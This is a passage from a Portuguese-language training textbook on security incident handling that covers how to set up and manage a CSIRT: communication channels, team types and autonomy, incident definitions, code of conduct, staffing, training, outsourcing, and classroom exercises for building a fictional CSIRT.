podem ser instanciados. Desse modo, um CSIRT deve estabelecer diferentes canais de comunicação para a sua comunidade, permitindo que os serviços disponíveis sejam solicitados. Existem diferentes meios de contato. Talvez o mais utilizado o sistema de e-mail. No entanto, devem-se prever outras formas de interação com a equipe, incluindo até mesmo requisições pessoais originadas por funcionários da própria empresa in loco. Quando definir os canais de comunicação, o CSIRT deve considerar questões relativas à documentação das solicitações. Por exemplo: 11 Como gerenciar um incidente notificado via telefone? 11 Como atualizar a equipe referente ao status de um incidente notificado pessoalmente? 11 Incidentes não documentados farão parte das estatísticas de um CSIRT? Tratamento de Incidentes de Segurança

Sabe-se que um CSIRT pode se comunicar com a sua comunidade de diferentes formas.

8

Na sequência, são descritos os principais canais de comunicação.

q

Formas de disseminar informações e requisitar serviços:

q

11 Telefone: uma das formas mais simples e diretas de comunicação com a sua comunidade de atuação é via contato telefônico. A conversação telefônica é uma forma direta de reportar incidentes e lidar com informações que possuem carácter de urgência. No entanto, ligações telefônicas podem gerar interpretações errôneas, sobretudo em situações de emergência. Outro ponto negativo do uso do telefone é a interrupção causada pelas ligações. Em eventos de segurança, é comum que muitas pessoas entrem em contato com o CSIRT, o que pode atrasar a resolução de um incidente em andamento. Alguns times optam por não realizar atendimento via telefone, mas disponibilizam um telefone de urgência – tal como um celular – para efetivamente receber ligações telefônicas de um grupo mais restrito (gerência e equipe técnica); 11 INOC-DBA: O INOC-DBA (Hotline Phone System) é uma infraestrutura VoIP para comunicação direta entre Centros de Operação de Redes (NOCs) e Grupos de Tratamento de Incidentes de Segurança (CSIRTs). Deseja-se, com isso, que todos os provedores e grandes redes conectadas na internet sejam facilmente contatados por quaisquer outros provedores do mundo. Para isso, cada participante do INOC-DBA possui um ramal – que corresponde ao número do próprio AS (Sistema Autônomo, na sigla em inglês) – e pode receber e solicitar ligações de forma gratuita. No Brasil, o Comitê Gestor da Internet no Brasil participa do projeto fornecendo gratuitamente telefones VoIP para todos os ASs e CSIRTs reconhecidos. Mais informações: http://www.ceptro. br/CEPTRO/MenuCEPTROSPInocDba; 11 E-mail: a maneira mais utilizada para comunicação entre o CSIRT e a comunidade de atuação é, sem dúvida, o e-mail. Sabemos das vantagens da comunicação via e-mail: rapidez, comodidade e fácil identificação do remetente. No contexto do CSIRT, a comunicação via e-mail é essencial. Logo, faz-se necessário que o CSIRT envie e, principalmente, receba todos os e-mails destinados ao time. Recomenda-se que nenhum tipo de filtro seja utilizado na caixa de entrada do e-mail, tal como antispam e antivírus (filtro de anexos). Afinal, a comunidade pode encaminhar um spam para a equipe analisar, e até mesmo repassar arquivos maliciosos executáveis. De forma complementar, recomenda-se a utilização de e-mails impessoais, ou seja, é importante a instituição ter um e-mail de contato, como por exemplo “csirt@instituicao”. De forma 22 Utilizar e-mail impessoal; 22 Não usar filtragem na caixa de e-mail (antispam); 22 Cuidado com cotas e limites de e-mails recebidos ou enviados; 22 Divulgar o e-mail institucional no website; 22 Manter o sistema de WHOIS apontado para um e-mail válido; 22 Direcionar os múltiplos e-mails (alias) do CSIRT para uma caixa postal única.


resumida, as boas práticas recomendam:

9

11 Boletins: alguns CSIRTs costumam repassar informações de segurança para a sua

q

comunidade por meio de listas de e-mails ou mesmo via boletins impressos. A divulgação de informações que afetam especialmente a comunidade de abrangência – como, por exemplo, atualização de sistemas utilizados – e dicas de segurança incluindo configuração segura é uma maneira efetiva de evitar incidentes de segurança; 11 Website: é uma maneira eficaz de divulgar informações para a comunidade de abrangência. Além de disseminar uma variedade de informações como boletins e notícias, um site serve para disponibilizar procedimentos e formas de contato do CSIRT. Alguns times também disponibilizam ferramentas e outros softwares úteis para a comunidade. Embora seja praticamente mandatório todo CSIRT ter um website, é importante zelar por sua segurança. Afinal, um defacement no site de um CSIRT pode causar prejuízos à

Defacement:

imagem do time;

Ataque que tem como objetivo alterar sem autorização o conteúdo de uma página web.

11 Conferências: participar de conferências ou mesmo promover conferências e seminários é mais uma forma de comunicar-se com a comunidade de atuação. A apresentação de trabalhos em conferências também é importante. Ter membros da equipe apresentando trabalhos em eventos pode aumentar a reputação do time e ajudar no processo de divulgação de informações para a comunidade; 11 Cursos: a realização de cursos para a comunidade com foco em segurança é uma prática adotada por alguns times. A realização de cursos na própria instituição também serve para intensificar e disseminar a própria política de segurança da instituição. É importante lembrar que a comunicação entre um CSIRT e as demais partes envolvidas tipicamente envolvem informações sigilosas. Questões relativas à segurança das informações – tráfego de dados e armazenamento das informações – devem ser consideradas pela equipe no momento em que um novo canal de comunicação é instaurado.

Aspectos operacionais de um CSIRT Os aspectos operacionais de um CSIRT definem especificamente qual será a forma de

q

atuação da equipe tanto no âmbito operacional quanto no organizacional. As particularidades de cada CSIRT têm influência direta na estrutura e operação da equipe. Por exemplo, aspectos como a comunidade atendida, natureza das informações e modelo gerencial da equipe definirão a forma como os incidentes serão tratados internamente. Na sequência, são discutidos os principais aspectos operacionais, considerando as particularidades dos CSIRTs, incluindo abrangência operacional, modelos estruturais e autonomia Tratamento de Incidentes de Segurança

da equipe:

10

11 Tipos;

q

11 Modelos; 11 Autonomia.

Tipos Um CSIRT pode ser classificado segundo a sua área de atuação. A abrangência de atuação dos CSIRTs está intimamente ligada ao setor de atuação. Principais categorias de CSIRTs: 11 CSIRTs internos: são os CSIRTs que cuidam somente dos incidentes da sua instituição e, em alguns casos, não são publicamente divulgados. Exemplo: instituições financeiras;

q

11 CSIRTs de coordenação: são times que atuam como intermediadores. Atuam repas-

q

sando informações e medindo tendências. Tais CSIRTs, tipicamente, não possuem nenhum poder sobre os grupos com os quais interagem. Exemplo: CSIRT nacional; 11 CSIRTs de vendedores: são os CSIRTs que representam os fabricantes de hardware ou software e que tratam das vulnerabilidades existentes nos seus produtos; 11 CSIRTs de consultoria: prestam os serviços relacionados com a resposta de incidentes de forma terceirada. Esse tipo de CSIRT é utilizado por empresas que não possuem o seu próprio CSIRT; 11 CSIRTs de pesquisa: são grupos especializados em pesquisa na área de segurança, tipicamente relacionado com estudo de vulnerabilidades.

Modelos Apesar de atuarem na mesma área, os CSIRTs podem possuir modelos estruturais dife-

q

rentes. Principais estruturas organizacionais utilizadas na implantação dos CSIRTs: 11 CSIRTs centralizados: a equipe possui membros dedicados às atividades do CSIRT, sendo estabelecida de forma centralizada no âmbito da organização; 11 CSIRTs descentralizados: a equipe fica geograficamente distribuída em diferentes cidades ou, até mesmo, países. Possui equipe dedicada às atividades de tratamento e resposta aos incidentes de rede computacionais, podendo atuar operacionalmente de forma independente, porém alinhada com as diretrizes estabelecidas pela coordenação central; 11 CSIRTs mistos: trata-se da junção entre modelos centralizados e descentralizados. Nessa estrutura, a equipe centralizada é responsável por criar as estratégias, gerenciar as atividades e distribuir as tarefas entre as equipes descentralizadas; 11 CSIRTs de crise: a equipe é reunida durante a emergência de um processo de crise, sendo composta por especialistas de cada área, deixando de existir após a conclusão de solução do incidente. Um desafio crescente para os CSIRTs está em acompanhar o que acontece na área de segurança durante as 24h do dia. Um CSIRT descentralizado ou misto possui a vantagem de possuir representantes em diversos fusos horários, permitindo, assim, cobertura

Autonomia Outro fator crítico como aspecto fundamental de organização é a autonomia do CSIRT. A autonomia descreve o nível de responsabilidade e também o escopo de atuação da equipe sobre atividades relacionadas ao tratamento de incidentes. A classificação dos diferentes níveis de autonomia é apresentada a seguir: 11 Autonomia Completa: uma equipe tem autonomia plena para tomar as decisões e executar as medidas necessárias para solucionar um incidente de segurança. As decisões podem ser tomadas pela equipe sem a necessidade de aprovação de níveis superiores de gestão; 11 Autonomia Compartilhada: uma equipe com autonomia compartilhada deve atuar em conjunto com os outros setores da organização. Para isso, a equipe participa do processo de tomada de decisão sobre as ações a serem implementadas com outros

q


mais ampla dos acontecimentos.

membros da organização; 11

11 Sem Autonomia: a equipe sem autonomia só pode agir com autorização expressa

q

de um responsável previamente designado. Nessa categoria a equipe apenas pode recomendar os procedimentos a serem executados; no entanto, não tem participação no processo final de decisão.

Definição de incidente Um incidente de segurança pode ser definido como qualquer evento adverso, confirmado

q

ou sob suspeita, que pode comprometer em algum aspecto a segurança computacional. Em geral, toda situação na qual um ativo de informação está sob risco é considerado um incidente de segurança. A definição de um incidente de segurança é fundamental para as operações de um CSIRT. Apesar de muitas vezes ser abstrata, a definição deve ter relação com as atividades e área de atuação do próprio CSIRT. Deve-se, por exemplo, determinar que tipos de eventos serão tratados pela equipe. Exemplos comuns de incidentes incluem:

q

11 A desfiguração do portal web de uma instituição; 11 O vazamento de informações confidenciais; 11 A propagação de um vírus por meio da lista de contatos de e-mails; 11 O envio de spam; 11 O comprometimento da rede; 11 A inacessibilidade de um website. Na sequência são listadas algumas definições de incidentes de segurança descritos por diferentes times e especificações de segurança: 11 CAIS/RNP (http://rnp.br/cais/):

q

“Um incidente de segurança é resultante do mau uso dos recursos computacionais.”; 11 CERT/CC (http://www.cert.org/tech_tips/incident_reporting.html): “Um ato de violação explícita ou implícita de uma política de segurança.”; 11 Terena (www.terena.nl/activities/tf-csirt/iodef/docs/i-taxonomy_terms.html): “Um incidente de segurança é um evento que envolve uma violação de segurança.”; 11 NIST (disponível em SP 800-3: Establishing a Computer Security Incident Response Capability): “Qualquer evento adverso em que aspectos da segurança computacional podem ser ameaçados”;


11 RFC 2350 (http://www.ietf.org/rfc/rfc2350.txt): “Qualquer evento adverso que pode

12

comprometer algum aspecto da segurança de computadores ou da rede.”; 11 DSIC (http://dsic.planalto.gov.br/legislacaodsic/53): “Qualquer evento adverso, confirmado ou sob suspeita, relacionado à segurança dos sistemas de computação ou das redes de computadores.” Incidentes de segurança podem facilmente resultar em impacto significativo para uma instituição se não manejados de forma correta. De fato, a severidade de um incidente é mensurada segundo o impacto que causa no processo de negócio de uma instituição. Por exemplo, um incidente que indisponibiliza um site de e-commerce possui alta severidade para a instituição.

Todo incidente deve ser tratado seguindo uma metodologia previamente definida pelo

q

CSIRT. Essa metodologia é chamada de processo de resposta a incidente e será posteriormente tratada em nosso curso.

Passos para criação de um CSIRT Conforme descrito anteriormente, existem diferentes fatores que devem ser observados para a criação de um CSIRT. Além de questões políticas, como aprovação organizacional, é importante o CSIRT ser reconhecido como atuante na própria comunidade. No que tange a questões organizacionais, é importante considerar as seguintes questões

q

durante o processo de formação de um CSIRT: 11 Abrangência operacional; 11 Missão; 11 Serviços; 11 Modelo organizacional; 11 Recursos. De forma resumida, temos nas etapas iniciais a definição do escopo de atuação, bem como as metas e objetivos do CSIRT. A identificação da comunidade a ser atendida é fundamental, pois possibilita mapear as necessidades e serviços necessários para atendê-la. Já o modelo organizacional – incluindo o tipo e estrutura – determinam a estratégia administrativa a ser implementada aos serviços. Por fim, e não menos importante: já na fase de estabelecimento de um novo CSIRT deve-se assegurar os recursos necessários para manter o time operacional, observando recursos da infraestrutura (equipamentos) e pessoal (equipe). Do contrário, as etapas anteriores não serão efetivas.

Fóruns de CSIRTS Assim como algumas categorias de instituições, os CERTs também se organizam em fóruns e entidades que buscam a colaboração entre os times. As principais entidades que podem servir de ponto de contato para localizar times são: 11 FIRST: Forum of Incident Response Security Teams –

q

http://www.first.org 11 APCERT: Asian Pacific Computer Emergency Response Teams – 11 CSIRTs: European Trusted Introducer CSIRTs Members – http://www.ti.terena.nl 11 OIC: Organization of the Islamic Conference – http://www.oic-oci.org/ O Forum of Incident Response Security Teams (FIRST) é uma das organizações mais antigas. O FIRST é uma organização profissional, sem fins lucrativos, composta por diferentes CSIRTs. Os times de segurança que a compõem são muito heterogêneos: de times nacionais (CERTs), CSIRTs de vendedores, CSIRTs internos a CSIRTs comerciais. O FIRST promove eventos anuais para membros onde é possível estabelecer contatos com outros times e também capacitar a equipe nos diversos seminários e cursos disponibilizados. É importante notar que o FIRST é uma associação de CSIRTs, mas não atua como um CSIRT. Ou seja, o FIRST não responde a incidentes de segurança, mas pode ser útil para identificar os responsáveis por recursos de internet.


http://www.apcert.org

13

Leitura recomendada: 11 Creating an Incident Response Team: http://www.educause.edu/ir/library/pdf/SEC0302.pdf 11 NIST SP 800-3: Establishing a Computer Security Incident Response Capability (CSIRC): http://www.terena.nl/activities/tf-csirt/archive/800-3.pdf 11 RFC 2.350: Expectations for Computer Security Incident Response: http://www.ietf.org/rfc/rfc2350.txt 11 Forming an Incident Response Team: http://www.auscert.org.au/render.html?it=2252 11 Departamento de Segurança da Informação e Comunicações (DSIC): Criação de equipes de tratamento e resposta a incidentes em redes computacionais – ETIR. Disponível em:


http://dsic.planalto.gov.br/legislacaodsic/53

14

Roteiro de Atividades 1 Atividade 1.1 – Criação de um CSIRT Para essa atividade, serão criados grupos. O número de pessoas por grupo ficará a critério do instrutor. No entanto, recomenda-se misturar pessoas que sejam provenientes da mesma instituição. O instrutor vai alocar cada grupo em uma das diferentes categorias: 11 CSIRT do Governo Federal; 11 CSIRT bancário; 11 CSIRT de uma universidade; 11 CSIRT nacional; 11 CSIRT de uma empresa de telecomunicações. As atividades a seguir conduzirão os alunos no processo de criação de um CSIRT, tendo em vista os conceitos apresentados neste capítulo.

Atividade 1.2 – Nome e sigla a. Defina um nome e uma sigla para o seu grupo.

Atividade 1.3 – Abrangência operacional a. Defina a abrangência operacional, ou seja, a comunidade a qual o seu grupo proverá serviços.

Atividade 1.4 – Missão

Atividade 1.5 – Estrutura organizacional a. Defina a estrutura organização do seu grupo incluindo tipo, modelo e escopo de atuação.

Capítulo 1 - Roteiro de Atividades 1

a. Defina a missão do seu grupo.

15

Atividade 1.6 – Serviços a. Com a lista de serviços do CERT/CC, cada grupo deve escolher cinco serviços que serão oferecidos pelo CSIRT. Leve em conta a missão e abrangência operacional: http://www. cert.org/csirts/services.html 1. Processo de tratamento de incidente 2. 3. 4. 5. Quantos profissionais são necessários para cada atividade? 1. Processo de tratamento de incidente: 2. 3. 4. 5. b. Dos serviços oferecidos, escolha quais poderiam ser utilizados para gerar recursos para o CSIRT. Quais adaptações seriam necessárias no seu time para que isso seja possível?

c. Para a lista de serviços oferecidos pelo seu CSIRT, defina: qual será o horário de atendimento, a forma de contato e qual pessoa da equipe está capacitada para lidar com a requisição? Considere as seguintes questões:


1. O CSIRT atende a casos de emergência? Quais são esses casos?

16

2. O CSIRT lida com informações confidenciais?

3. O CSIRT lida com informações protegidas por segredo de justiça ou que estão em fase de investigação?

4. O CSIRT recebe denúncias de pornografia infantil?

d. Como seu CSIRT abordaria a seguinte situação? 1. O sistema de e-mail do CSIRT está inoperante. Como alternativa, um colega notifica um incidente crítico – vazamento de informações – via telefone. Foi deixada uma mensagem na secretária de voz do CSIRT na data de 25 de dezembro, 2h28. Como esse incidente seria tratado pela equipe?

2. Quanto tempo o incidente demorou a ser tratado? Quem pode acessar as mensagens do telefone?

Atividade 1.7 – Incidente de segurança a. Defina o que será considerado um “incidente de segurança” para o seu grupo. Considere que as ações futuras do seu CSIRT dependerão disso.

b. Responda se a sua definição de “incidente” abordaria a seguinte situação como sendo um “incidente”: “Nesta última sexta-feira, com o início do processo de inscrição do vestibular via formulário eletrônico, um funcionário terceirizado da empresa de manutenção de jardins cortou o cabo de energia do Centro de Computação, resultando na indisponibilidade do serviço de inscrição até o conserto da peça, o que ocorreu somente na segunda-feira seguinte, pois a

1. Isso constitui um incidente de segurança?

2. Esse incidente estava previsto na elaboração de sua definição?


peça estava em falta no mercado.”

17

3. A partir desse exemplo, quais ajustes você faria na sua definição?

c. De forma complementar, a sua definição de “incidente” abordaria as seguintes situações como sendo um “incidente” ou se seria necessária alguma nova alteração? 1. Uma ligação telefônica para o diretor de departamento solicitando a senha de um servidor crítico, pois o funcionário responsável está inacessível.

2. Uma notificação em nome da companhia de eletricidade, informando uma manutenção técnica programada, a ser executada no final de semana, com uma janela de 8h.

3. Um e-mail com ameaça de explosão de bomba no prédio que abriga a infraestrutura de rede da empresa.

4. A publicação do arquivo de senhas do servidor de e-mail no jornal interno de uma universidade.


5. O envio de fotos pornográficas para a lista interna de contatos da empresa.

18

2 Discutir questões relacionadas aos requisitos estruturais de um CSIRT; Conhecer os fatores de sucesso na criação de um CSIRT; Aprender os conceitos relacionados ao gerenciamento de um CSIRT.

conceitos

Gerenciamento de CSIRTs; Visão estrutural do CSIRT; Melhores práticas e condutas apropriadas.

Introdução O gerenciamento de um CSIRT, assim como outras organizações, envolvem etapas téc-

q

nicas e administrativas. Todas essas etapas possuem um único objetivo: assegurar que o CSIRT cumpra a própria missão, previamente definida. De forma mais específica, busca-se assegurar que os serviços relacionados à resposta a incidentes de segurança sejam efetivamente prestados para a sua comunidade de abrangência. Neste contexto, este capítulo discutirá tópicos relacionados ao gerenciamento de um CSIRT, tal como: gerenciamento da equipe, comunicação, requisitos estruturais e fatores de sucesso.

Código de conduta O código de conduta define um conjunto de premissas que balizam as ações e comporta-

q

mentos de um time de segurança. O mesmo código aplica-se a todos os membros da organização, estendendo-se aos serviços prestados e aos demais aspectos operacionais, tais como a comunicação e o zelo pelas informações. De forma específica, o código de conduta vincula princípios e valores da própria insti-

q

tuição com atividades desempenhadas pela equipe. Princípios como profissionalismo, confiabilidade e liderança influenciam na forma com que o CSIRT é visto externamente. Um bom código de conduta descreve princípios para a interação com os usuários dos serviços do CSIRT e também a maneira com que as informações são tratadas internamente pela equipe. Sem o devido cuidado para lidar com as informações sensíveis, é provável que

Capítulo 2 - Gerenciamento do CSIRT

objetivos

Gerenciamento do CSIRT

as entidades parceiras possam hesitar em divulgar dados para o seu time em futuros incidentes de segurança. 19

A conduta profissional com que as informações são tratadas por um CSIRT é evidentemente particular a cada instituição. Sabe-se que existem alguns CSIRTs que optam por regras mais restritivas. Um CSIRT militar, por exemplo, implementa alto nível de sigilo com as informações que gerencia. Por outro lado, um CSIRT acadêmico pode implementar um código de conduta mais flexibilizado no que tange ao armazenamento de informações de segurança. Observa-se, entretanto, que a grande maiorias dos CSIRTs possuem políticas e procedimentos que classificam as informações ao menos em duas categorias: dados públicos e dados sigilosos. Já em uma solução mais robusta, podem-se classificar as informações em uma estrutura multinível. A seguir temos o exemplo de uma estrutura de classificação de informações de segurança.

q

11 Classificado: são informações sigilosas, onde apenas o CSIRT tem conhecimento do incidente. Da mesma forma, a circulação das informações é restrita aos membros do time de segurança. Esse tipo de classificação é utilizado em eventos de segurança especiais – ou ainda em incidentes com escopo bem definido; 11 Parcialmente classificado: são dados que possuem certo nível de restrição. Tais informações são intercambiadas apenas com entidades com alto nível e confiança, tal como CSIRTs com bom relacionamento; 11 Não classificados: são informações que podem ser divulgadas na forma pública. Para isso, deve-se avaliar o teor das informações a serem classificadas como “Não classificado”, a fim de evitar prejuízos às partes envolvidas. Na maioria das vezes, dados inseridos nessa categoria possuem caráter informacional, como, por exemplo, divulgação de documentação ou estatísticas públicas do CSIRT. Cada nível de classificação também especifica como as informações devem ser gerenciadas sob o ponto de vista operacional. Em níveis mais restritivos, por exemplo, todas as informações devem ser cifradas, tanto na comunicação quanto no armazenamento. Independentemente do modelo de classificação de informações adotado, é fundamental que o CSIRT mantenha-se consistente e estenda a classificação para os demais serviços e elementos relacionados ao processo de resposta a incidentes. Um exemplo consiste na gestão das informações de contatos técnicos. Por ser um ponto de contato para incidentes de segurança, espera-se que um CSIRT tenha um bom relacionamento com entidades externas. Na maioria das vezes, a equipe do CSIRT conhece pessoas de outros times que podem auxiliar em uma eventual emergência. Esses contatos, que não são públicos, e sim fruto de uma boa relação com outras equipes, devem ser tratados de forma adequada segundo a conduta o seu próprio CSRIT.


Considere a seguinte situação:

20

q

“O seu CSIRT recebe uma ligação de um colaborador externo (entidade A), em caráter de urgência, solicitando os contatos mais específicos de uma instituição (entidade B), pois está sofrendo ataques.” O código de conduta de sua instituição deve prever possíveis ações que contemplem esse exemplo. Nesse caso, deve-se analisar se o código de conduta permite encaminhar os seus contatos mais específicos a entidades externas. Possíveis soluções: 11 O CSIRT não encaminha os dados (da entidade B), pois faz parte do seu código de conduta manter contatos mais específicos de forma confidencial;

q

11 O CSIRT encaminha contatos mais específicos para o colaborador externo (entidade A);

q

11 O CSIRT atua como intermediário, repassando a informação do ataque diretamente para a entidade B. A divulgação de informações também faz parte do código de conduta do CSIRT. Os meios para divulgar informações serão tratados posteriormente por este curso; no entanto, cabe ao código de conduta definir uma política para a divulgação de informações. Essa política deve descrever o conjunto de informações que podem ser divulgadas no contexto de resposta a incidentes. Sem a definição dessa política, a equipe pode não ter orientação necessária para gerenciar o processo de resposta a incidentes. Alguns times tratam todas as informações como estritamente confidencial, evitando o compartilhamento das informações fora do âmbito dos membros da equipe. No entanto, essa política estrita não pode ser garantida em todos os casos. Por exemplo, em casos onde é necessária a interação da Justiça. Logo, é desejável que, independentemente da política utilizada, sejam consideradas

q

algumas questões, como: 11 Que time de informação o CSIRT divulgará quando outro CSIRT notificar um incidente envolvendo a comunidade de sua responsabilidade? 11 Quando necessária interação com a Justiça, o seu CSIRT poderá prover informações necessárias de forma direta? 11 Que tipo de informações serão divulgadas de forma pública? 11 Todo incidente será notificado a um CSIRT de coordenação, como por exemplo, CERT.br? 11 As informações de incidentes externos serão ocultadas, como por exemplo, sanitização de IPs de sua rede? Todas essas decisões fazem parte do código de conduta de um CSIRT e devem ser consideradas nas etapas iniciais do estabelecimento de um CSIRT na comunidade. É importante notar que essa política de conduta é algo que pode ser alterado. Em muitos times, é comum que novas questões sejam contempladas e aprimoramentos sejam incorporados com a aquisição de experiência.

Equipe Constituir uma equipe é uma das primeiras coisas a serem pensadas na etapa de estabelecimento de um CSIRT. De fato, a equipe tem papel fundamental nas atividades do CSIRT, ração de um time. Sabe-se que a definição de uma equipe passa por diversos aspectos, incluindo questões

q

técnicas, gerenciais e, essencialmente, a alocação de recursos financeiros. Do contrário, a equipe não poderá prover de forma adequada os serviços para a comunidade e contemplar a missão do próprio CSIRT. Alguns fatores também devem ser considerados no momento da definição de uma equipe: 11 Número de pessoas necessárias; 11 Habilidades necessárias; 11 Habilidades desejadas; 11 Níveis hierárquicos;

q


dando suporte às políticas internas, procedimentos e código de conduta intrínseco à ope-

21

11 Carga horária;

q

11 Rotatividade; 11 Ética. Estimar o número de pessoas necessárias para uma equipe, sobretudo em etapas iniciais de operação, é uma tarefa complexa. O tamanho da equipe deve considerar um número ideal de profissionais necessários para realizar as atividades de um CSIRT, incluindo equipe técnica e gerencial. O tamanho da equipe deve considerar aspectos como:

q

11 Recursos financeiros; 11 Recursos humanos; 11 Serviços prestados; 11 Comunidade a ser atendida. Sabe-se, no entanto, que uma vez que o time de segurança estiver estabelecido, novos serviços são demandados pela comunidade. Além disso, o conjunto de serviços oferecidos deve ser aprimorado, o que pode demandar mais trabalho que o inicialmente previsto. Portanto, definir o tamanho da equipe tem influência direta na qualidade das atividades prestadas pelo CSIRT. Nos primeiros anos, muitos CSIRTs atuam com uma equipe minimizada e, com o passar do tempo, novos membros ingressam no time, aprimorando os serviços prestados. A fim de adequar o tamanho da equipe ao volume de trabalho demandado, recomenda-se fazer uma estimativa com base nas notificações recebidas por outros times e também no número de usuários conectados na rede, ou seja, a base de usuários que a equipe atenderá. Esse número necessário de pessoas na equipe deve considerar também o crescimento de notificações – que pode chegar a 100% ao ano – e também possíveis expansões de uma empresa. Não existe relação direta entre número de pessoas atendidas versus número de pessoas na equipe. Isso pode variar muito, afinal, está relacionado com a missão do CSIRT, onde é descrita a comunidade atendida e o conjunto de serviços realizados. A equipe deve ser composta por profissionais com diferentes tipos de habilidades. Além de habilidades técnicas necessárias para a execução das tarefas de um CSIRT, é importante que os integrantes da equipe tenham habilidades administrativas e gerenciais. Uma equipe multifacetada inclui profissionais com expertises em diferentes áreas: 11 Especialistas em tecnologia de segurança;


11 Administradores de sistemas;

22

11 Engenheiros de redes; 11 Especialistas em suporte; 11 Gerente; 11 Conselho legal. Evidentemente, as habilidades necessárias precisam estar alinhadas com os serviços oferecidos. As habilidades técnicas desejadas na operação de um CSIRT requerem o entendimento da tecnologia utilizada, tal como hardware e software.

q

Mesmo assim, existem alguns conhecimentos que são essenciais para a equipe que lida

q

com incidentes de segurança: 11 Protocolos de redes (HTTP, MTA, DNS e FTP); 11 Sistemas Operacionais; 11 Infraestrutura de redes (roteadores e comutadores); 11 Ferramentas de segurança (IDS e firewall); 11 Criptografia;

Dependendo do tamanho da equipe, pode-se organizar o grupo por áreas, onde um responsável com bom nível técnico pode orientar os menos experientes. Adicionalmente, as habilidades técnicas podem ser aprimoradas através de cursos e treinamentos, fazendo com que integrantes da equipe ganhem novas habilidades.

11 Princípios básicos de segurança; 11 Programação. De fato, as habilidades técnicas fazem parte dos atributos necessários para os integrantes de uma equipe. Porém, nem todos os membros do time necessitam ter alto nível de conhecimento em todas as áreas técnicas. É fundamental, entretanto, que a equipe consiga lidar com os incidentes reportados pela sua comunidade. Na prática, os outros departamentos da instituição só recorrerão ao CSIRT uma vez que reconheçam as competências técnicas do time para auxiliar de forma correta nas necessidades identificadas. Além das habilidades técnicas, as habilidades interpessoais são igualmente importantes. Em alguns casos, é mais fácil aprimorar as habilidades técnicas dos integrantes de uma equipe do que trabalhar as habilidades interpessoais. As habilidades interpessoais são exigidas nas mais diferentes etapas dos serviços prestados por um CSIRT e não devem ser menosprezadas. A equipe está constantemente interagindo com times de segurança e com os demais departamentos da instituição. Sabe-se da importância da interação com a comunidade de atuação do CSIRT, afinal, a reputação do CSIRT depende do profissionalismo empreendido pela equipe. A seguir, algumas características interpessoais desejadas:

q

11 Comunicação verbal: comunicar de maneira clara e diplomática, e também saber ouvir; 11 Comunicação não verbal: leitura, escrita e linguagem corporal (para palestras e eventos); 11 Negociação: atuar com outros integrantes a fim de encontrar um resultado mutuamente aceitável; 11 Resolução de problemas: trabalhar em equipe para identificar, definir e solucionar problemas, mesmo com restrições de tempo e recursos; 11 Assertividade: comunicar valores e opiniões de forma clara e confiante. Os melhores profissionais são aqueles que aliam habilidades técnicas a habilidades interpessoais, muito embora não exista um conjunto único de habilidades desejadas para cada time. É necessário avaliar a comunidade e a natureza dos serviços prestados, a fim de identificar as habilidades necessárias. Alguns times optam por profissionais especialistas, outros, porém, optam por profissionais generalistas.


l

11 Aplicações de rede;

23

Treinamento e desenvolvimento da equipe O treinamento dos profissionais do CSIRT tem como objetivo manter a equipe preparada para atuar no processo de resposta. Dessa forma, os integrantes do grupo podem aprimorar suas habilidades e adquirir novas aptidões, de modo a prestar serviços de forma mais efetiva para a comunidade de atuação. Afinal, uma equipe com conhecimento das novas tecnologias e tendências de segurança pode

q

identificar mais rapidamente as características de incidentes até então não identificadas. O processo de desenvolvimento das habilidades da equipe deve começar com uma avaliação prévia das habilidades existentes no time e habilidades demandadas. Esse processo deve avaliar cada membro da equipe de forma individual e priorizar demandas mais críticas para o grupo. Como resultado, pode-se efetuar um treinamento com foco no indivíduo ou, ainda, endereçado às limitações da equipe como um todo, tal como análise de riscos e comunicação em inglês. Procedimentos que podem ser implementados para o desenvolvimento da equipe:

q

11 Estudo de procedimentos internos: ler e atualizar os procedimentos internos utilizados pelo CSIRT é uma forma de aprimorar habilidades individuais, sobretudo para os novos membros da equipe. Sabe-se que os procedimentos usados na resposta a incidentes são dinâmicos e necessitam de constantes atualizações. Logo, a constante revisão dos procedimentos internos é benéfica para o time – que mantém o material atualizado – e também para os integrantes, que revisitam os procedimentos utilizados nos incidentes passados; 11 Programa de tutoria: a figura de um tutor é utilizada na maioria dos CSIRTs no treinamento de novos membros. Para isso, é designado um profissional da equipe com mais experiência para auxiliar um novo integrante. O processo de tutoria deve ser contínuo, até o tutor assegurar-se de que o novo integrante tenha proficiência e consiga lidar, sem cometer erros custosos, com as tarefas demandadas; 11 Estudo individual: alguns CSIRTs consideram disponibilizar horário de trabalho para que o profissional estude temas específicos – tal como análise forense – para serem aplicados no processo de tratamento de incidentes. Para isso, a instituição deve prover o material técnico necessário, tal como periódicos, revistas e livros; 11 Treinamento externo: alguns CSIRTs optam por treinar e desenvolver a equipe usando instituições externas com boa reputação no mercado. Muitas vezes, trata-se de uma questão pontual, onde novas habilidades precisam ser incorporadas à equipe


em um curto espaço de tempo.

Terceirização de serviços Muitas vezes, a dificuldade de encontrar profissionais da área e estabelecer uma equipe de segurança acompanhando as mudanças da indústria tem fomentado a contratação de serviços externos, ou seja, a terceirização de serviços relacionados à segurança. Cada instituição deve tomar as decisões que julgar mais convenientes em relação à terceirização de serviços relacionados ao tratamento de incidentes de segurança. Alguns CSIRTs optam, por exemplo, em terceirizar etapas nas quais a equipe não tem expertise, tal como análise de malware. Por outro lado, outros times optam por terceirizar o CSIRT como um todo, atribuindo a gerência de incidentes de segurança para uma entidade externa. Alguns cenários onde esse modelo é comumente utilizado são em bancos e outras instituições

24

financeiras. Isso se deve, basicamente, ao grande volume de incidentes e os custos para manter um corpo técnico especializado na instituição. Antes de decidir pela terceirização de serviços, é fundamental avaliar as vantagens e desvantagens de cada modelo. Nesse contexto, alguns fatores devem ser considerados, tais como:

q

11 Custos e riscos associados; 11 Dependência tecnológica; 11 Qualidade do serviço prestado; 11 Questões legais; 11 Questões operacionais; 11 Segurança das informações; 11 Representatividade. A terceirização pode oferecer significativa redução dos custos enquanto estiver provendo serviços similares com economia de recursos humanos e de infraestrutura. Além disso, empresas terceirizadas geralmente definem um Service Level Agreement (SLA) no qual pode ser estipulado o tempo de atendimento e demais métricas-chave que podem manter a sua instituição segura com relação aos requisitos de qualidade. Adicionalmente, é possível acompanhar as atividades do serviço contratado por meio de relatórios e, até mesmo, em tempo real, tendo acesso ao sistema utilizado. Por outro lado, a terceirização de serviços implica em disponibilizar informações sensíveis

q

a terceiros. Essas informações podem ser estratégias para segurança da instituição e também sob o ponto de vista competitivo. Portanto, faz-se necessário avaliar, em âmbito operacional e gerencial, os riscos inerentes à terceirização de serviços. É importante lembrar que a instituição que contrata os serviços continua sendo responsável por eventos de segurança perante a lei.

